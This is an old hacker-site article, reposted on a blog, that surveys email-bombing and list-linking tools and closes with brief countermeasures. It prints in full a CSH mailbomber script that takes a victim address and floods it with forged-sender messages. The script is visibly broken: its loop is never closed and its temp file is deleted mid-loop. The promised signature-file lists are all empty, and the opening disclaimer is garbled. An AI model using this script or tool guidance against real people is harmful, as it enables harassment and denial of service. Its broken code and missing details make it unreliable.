Tuesday, December 16, 2008

Mail Bombing and List Linking

Important Note
The writers of this article nor BSRF believe that mail bombing and list linking are against the law, and should not be carried out nor tolerated by anyone. In fact, these are two of the dumbest things you could do on the net, and will only get you mocked. Such attacks are only carried out by kids with too much time in their hands, who are not smart enough to carry out more sophisticated attacks.

 Know Your Enemy

 Up Yours:

The Up Yours mail-bombing program is probably the most popular bomber  out there. It uses minimal resources, does a superb job, has a simple  user interface, and attempts to obscure the attacker's source  address. Features of the program include being able to specify times  of day to start and stop as well as the number of messages with which  it will hammer the target.

This bomber runs only on the Microsoft Windows platform. If you are a  system administrator, you will want to scan your local drives for the  following files:


If these files appear in a user's directory, there is a strong  likelihood that he is about to e-mail bomb someone (of course,  perhaps he simply spends his time collecting hacking and cracking  programs). In any event, the utility is hard to find. If one of your  users has acquired this program, he clearly has an interest in  hacking or cracking :o)


KaBoom differs significantly from Up Yours. In the main program, you  find a utility to list link. Using this function, you can subscribe  your target to hundreds of e-mail lists. When I say that a target has  been list-linked, I mean the target has been subscribed (without his  consent) to one or more mailing lists. Such tools submit registration  requests on behalf of the victim, forging his e-mail address. In any  event, this utility's signature files are these:



The Avalanche e-mail bombing utility works smoothly and is well  designed. The list groups are displayed in a drop-down combo box, and  their individual lists are displayed in a list box. Three clicks of a  mouse and your target is in hot water.

TIP: The programmer here was a bit absentminded. The program was  written at least in part in Microsoft Visual Basic 4.0. As such,  there are a series of DLL files that are required to run the application. These are missing from the general distribution of this  utility; therefore, serious bombers must go out onto the Internet to  retrieve those files (one is OC2.DLL). Because of this, I would estimate that Avalanche is probably used less than its counterparts,  even though its overall design is superior. Inconvenience discourages  most users of this particular ilk. The signature files for this product are:



The Unabomber utility is a rudimentary tool, but one must give the  author credit for humor. Unabomber offers no list-linking  capabilities. It is essentially a flat e-mail bomber and does no more than send messages over and over. One interesting element is that  Unabomber comes with a help function. The signature files for this  utility are:


eXtreme Mail:

eXtreme Mail is well programmed. It includes an interactive  installation process that performs all the routine checks for disk  space, resources, and so forth. It also observes proper registry
conventions and is easily uninstalled.
The signature files for this product are:



The Homicide utility was written by a youngster with the moniker Frys  and was discontinued in 1996. The author claims that he wrote the  utility because Up Yours 2.0 was inadequate as an e-mail bombing  tool. However, with the release of Up Yours 3.0, Frys apparently  decided to discontinue any further releases. As of March 1997, it is  available only at a very few select sites.
The signature files for this utility are:


The UNIX MailBomb:

This UNIX e-mail bomber is reportedly written by CyberGoat, an  anonymous cracker out in the void. The signature file on this one is  mailbomb.csh.
It is in fact a CSH shell script and not a program, since Unix has such powerful shells and shell scripting capabilities. It's main advantage is that it is very small in size.

 # Anonymous Mailbomber
 # do chmod u+rwx where filename is the name of the file
 # you saved it as.
 # "teltemp"
 echo -n "What is the name or address of the smtp server ?"
 set server = $<
 #echo open $server 25 > teltemp
 echo quote helo somewhere.com >> teltemp
 #The entry for the following should be a single name (goober),
 #not goober@internet.address .
 echo -n "Who will this be from (e.g. somebody) ?"
 set from = $<
 echo quote mail from: $from >> teltemp
 echo -n "Who is the lucky recipient (e.g. someone@somewhere) ? "
 set name = $<
 echo quote rcpt to: $name >> teltemp
 echo quote data >> teltemp
 echo quote . >> teltemp
 echo quote quit >> teltemp
 echo quit >> teltemp
 echo -n "How many times should it be sent ?"
 set amount = $<
 set loop_count = 1
 while ($loop_count <= $amount)
 echo "Done $loop_count"
 ftp -n $server 25 < teltemp
 @ loop_count++
 rm ./teltemp
 echo $amount e-mails complete to $name from $from@$server
 # --------------------
 # MailBomb by CyBerGoAT


The Bombtrack utility is reportedly the first mail-bombing tool  written for the Macintosh platform. It is another run-of-the-mill  bombing utility, widely available at cracker sites across the  Internet. The signature file for this application is:



FlameThrower is a bombing utility written for Macintosh. Its main  purpose is list linking; it allows the user to subscribe his target  to 100 lists. The binary is quite large, considering its intended purpose. The signature for this file is:


Mail Bombing Countermeasures

There are many utilities out there (such as pop3free, pop3clean etc') that will clean up POP3 mail accounts. To learn more about POP3, refer to BSRF's POP3 tutorial.
As for web-based mail accounts, you can always save any real mails that you got and delete all the rest (any web-based mail account should have such a feature).
To report such attacks, send a message to your abuse team (for example: if you have an account at hotmail.com, send your mail to abuse@hotmail.com).

As for list linking, if you're facing a large attack and cannot unsubscribe from all of the mailing list by yourself, consider switching to another account. Sorry, there's no other way.

Source :
by Tolda [2000]
With comments and additions by R a v e N.
Written for BSRF.
Homepage: http://blacksun.box.sk

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